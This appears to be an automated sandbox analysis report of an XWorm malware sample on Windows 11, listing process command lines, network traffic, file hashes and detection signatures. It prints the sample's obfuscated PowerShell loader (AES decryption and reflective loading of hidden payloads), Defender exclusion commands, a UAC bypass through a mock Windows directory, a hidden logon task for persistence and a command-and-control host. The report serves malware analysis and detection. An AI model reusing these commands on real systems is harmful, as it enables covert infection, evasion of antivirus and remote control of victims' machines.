C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
C:\Windows \System32\ComputerDefaults.exe
"C:\Windows \System32\ComputerDefaults.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c call SC.cmd
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\SC')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXggkaqzf6p31g37n0m8phzeswb0rt9m7e.mca
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | software-led.gl.at.ply.gg | udp |
| US | 147.185.221.19:38954 | software-led.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 19.221.185.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| NL | 23.62.61.129:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 129.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.73.42.20.in-addr.arpa | udp |
Files
memory/2616-0-0x00007FFA190F3000-0x00007FFA190F5000-memory.dmp
memory/2616-1-0x000001DB8AD70000-0x000001DB8AD92000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ftiga100.taq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2616-11-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp
memory/2616-12-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp
memory/2616-13-0x000001DBA2F10000-0x000001DBA2F54000-memory.dmp
memory/2616-14-0x000001DBA54B0000-0x000001DBA5526000-memory.dmp
memory/2616-15-0x000001DB8ADA0000-0x000001DB8ADB0000-memory.dmp
memory/2616-16-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/2616-17-0x00007FFA360C0000-0x00007FFA3617E000-memory.dmp
memory/2616-18-0x000001DBA5220000-0x000001DBA5268000-memory.dmp
memory/3308-19-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp
memory/3308-29-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp
memory/3308-30-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp
memory/3308-33-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp
C:\Windows \System32\ComputerDefaults.exe
| MD5 | d25a9e160e3b74ef2242023726f15416 |
| SHA1 | 27a9bb9d7628d442f9b5cf47711c906e3315755b |
| SHA256 | 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c |
| SHA512 | bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910 |
C:\Windows \System32\MLANG.dll
| MD5 | 0b62c554572e9d2dfc51b6367c34700f |
| SHA1 | 1a41693552101c650aeeffe9dc9f1c7f7553dd7b |
| SHA256 | b05a80ef8ad197ee36620655100e1fd4111ec946a9f012970da4c61d8da43ded |
| SHA512 | 765e2f686a74804063b1face147a2dfd4cac85fb8273b5b0ccbd7606e46fce9865d5bbeeca40af31a8b584dc0bba1ebc0ff3fa8c1993da08a4b09cd15a394ce9 |
C:\Users\Admin\AppData\Local\Temp\SC.cmd
| MD5 | 121a69448e9f5eef0ba4c1229b471208 |
| SHA1 | 90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0 |
| SHA256 | b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a |
| SHA512 | c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
memory/3676-56-0x00007FFA360C0000-0x00007FFA3617E000-memory.dmp
memory/3676-55-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6d3e9c29fe44e90aae6ed30ccf799ca8 |
| SHA1 | c7974ef72264bbdf13a2793ccf1aed11bc565dce |
| SHA256 | 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d |
| SHA512 | 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 29af8a435901d77d6c0a08e494fdd160 |
| SHA1 | 00ee17be16d2fccd668977caab81546ddceffc5d |
| SHA256 | 8774b8e4d75d6815a0d211272e983b0094a7542d1df584f9fc880aa68283a98f |
| SHA512 | 7d3e78f5d6d73bbb37ec7ff5b97729a1e542ae6b86eb271516a02ec67eb012872337e57a418a3f7f1b1b8cfafc2bfb246f15b75eaf45ee36fc690d946d873c99 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | c0f537f8410f5e02620612ed71aaba13 |
| SHA1 | f46b9dc039edcaf860fd90b9d6108f9620de81f5 |
| SHA256 | 250922c95fb0e3675084bd557196d1330b6c59547220923aadd3bd79b428f669 |
| SHA512 | 4ec619ce2159b44c13d8039adeafd93b224f78ac7f45e750cd743ace36ee224c7f232e8d354f9a007a98b7518632608341e810dba02c21273ab26188b7b07ee8 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 600325c054a0ad5123a222671e388137 |
| SHA1 | 59295822490ec5ceb9ae923c2dc6313f1f48dd2b |
| SHA256 | d322abae6f5ae7c31891ab548d94db5e4b413b8bf43a77b7735018c6dffa9f69 |
| SHA512 | c02041549204f8d093114f3a894e3f40d7a10878690abe82346156ca80dca32b0e15be3a1b2f41289292544ccdce6a542a44c8b340ee43b0f21480bfb826196d |
memory/3364-105-0x0000000002DA0000-0x0000000002DCA000-memory.dmp
memory/3676-136-0x000001AC7AF50000-0x000001AC7AF5E000-memory.dmp
memory/1112-158-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4680-156-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/3364-154-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/2108-157-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/1960-165-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/1416-164-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/1288-159-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/392-155-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4296-163-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/3408-162-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/3048-161-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/1500-160-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 81b640502b0c25ab216c6b6ad82ba7bd |
| SHA1 | 1b43e1fead8428aee3b764bcacc3795021277be9 |
| SHA256 | 4cf92d978f2a1fc5b80eda8a11f181603018d270fc8fe24daa634b954c75380f |
| SHA512 | 842cfba04ddbd5336e16dbc1ab8e57a80541f0ab1da6260fcca53f7f441e4b1c4149bce2d74b23684a338a86aded2626008f33edb246871e178bda1272c8fa57 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 2114288fdfc8e55f47611663569c81ab |
| SHA1 | b90e27b1223903c32b629ba98f237ff177ccce85 |
| SHA256 | 5d413dcfcf1f7570834cb23652183db100ab5213b4c7a40ac2c8849c2f5bf69a |
| SHA512 | 997e2b423b8b186b8e02114f52f56d560040705a77aa4c837fa49e003116523d049481625c68e2a96b2327f733af02b40b415ac1530a385ddddb4c4b20a8df8d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 0b990e24f1e839462c0ac35fef1d119e |
| SHA1 | 9e17905f8f68f9ce0a2024d57b537aa8b39c6708 |
| SHA256 | a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a |
| SHA512 | c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | ceb7caa4e9c4b8d760dbf7e9e5ca44c5 |
| SHA1 | a3879621f9493414d497ea6d70fbf17e283d5c08 |
| SHA256 | 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9 |
| SHA512 | 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | 7d612892b20e70250dbd00d0cdd4f09b |
| SHA1 | 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5 |
| SHA256 | 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02 |
| SHA512 | f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | 8abf2d6067c6f3191a015f84aa9b6efe |
| SHA1 | 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7 |
| SHA256 | ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea |
| SHA512 | c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | f313c5b4f95605026428425586317353 |
| SHA1 | 06be66fa06e1cffc54459c38d3d258f46669d01a |
| SHA256 | 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b |
| SHA512 | b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890 |
memory/2616-323-0x00007FFA190F0000-0x00007FFA19BB1000-memory.dmp
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
| MD5 | dcfd6643f6469cbb5bbf7dda81a8c265 |
| SHA1 | b43b67bd1994d84da70892932ddaee13caad134a |
| SHA256 | 7c715874612d774ceb1a81db0716e5e34c722a50ff6044f1aeb1b81b5739dccc |
| SHA512 | 687d6fc63001ddd41bc561093c301e5f08f8aa8381fdcd82b84abd610d788a956b8c35e6034def83054ed7ebce307be9b047042f94377c3fe5bee80feb2be780 |
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
| MD5 | 71d781074b75e0d1f25e2b68fd51f65e |
| SHA1 | ae425fd1ae4639ba1f76670f878e702a74b3deb0 |
| SHA256 | 0b7c47b277f0d15bfe53c6bd041d277cdc04c464b11114017065df0933903702 |
| SHA512 | 4fdab18070d62ebd91c284f6eb9dd7d013b18d4044b89772766a0e1d43b030aae2926a45c7846f0d2a1e57a4e1effa1bb83d20b8c5f4a256c4ba745cc5f4afef |
Analysis: behavioral4
Detonation Overview
Submitted
2024-05-26 14:55
Reported
2024-05-26 15:29
Platform
win11-20240508-en
Max time kernel
1800s
Max time network
1797s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Privacy-Auditing%4Operational.evtx | C:\Windows\System32\svchost.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordCharacterGroups = "2" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
